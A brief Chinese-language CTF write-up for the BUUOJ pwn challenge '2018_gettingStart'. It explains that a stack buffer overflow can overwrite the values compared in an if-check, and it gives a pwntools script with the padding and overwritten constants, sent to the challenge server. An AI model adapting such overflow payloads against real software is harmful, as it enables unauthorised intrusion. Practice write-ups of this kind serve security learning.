image.png
    吓人对吧
    image.png
    看一眼ida,原来只要绕过if就行,问题又来了,怎么绕过?
    看到这里是栈上比较,然后buf可以往栈上读入数据,所以只要合理布局就行

    1. from pwn import*
    2. context.log_level='debug'
    3. #io = process('./2018_gettingStart')
    4. io = remote('node4.buuoj.cn',28703)
    5. elf = ELF('./2018_gettingStart')
    6. payload = b'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
    7. #gdb.attach(io)
    8. io.send(payload)
    9. #pause()
    10. io.interactive()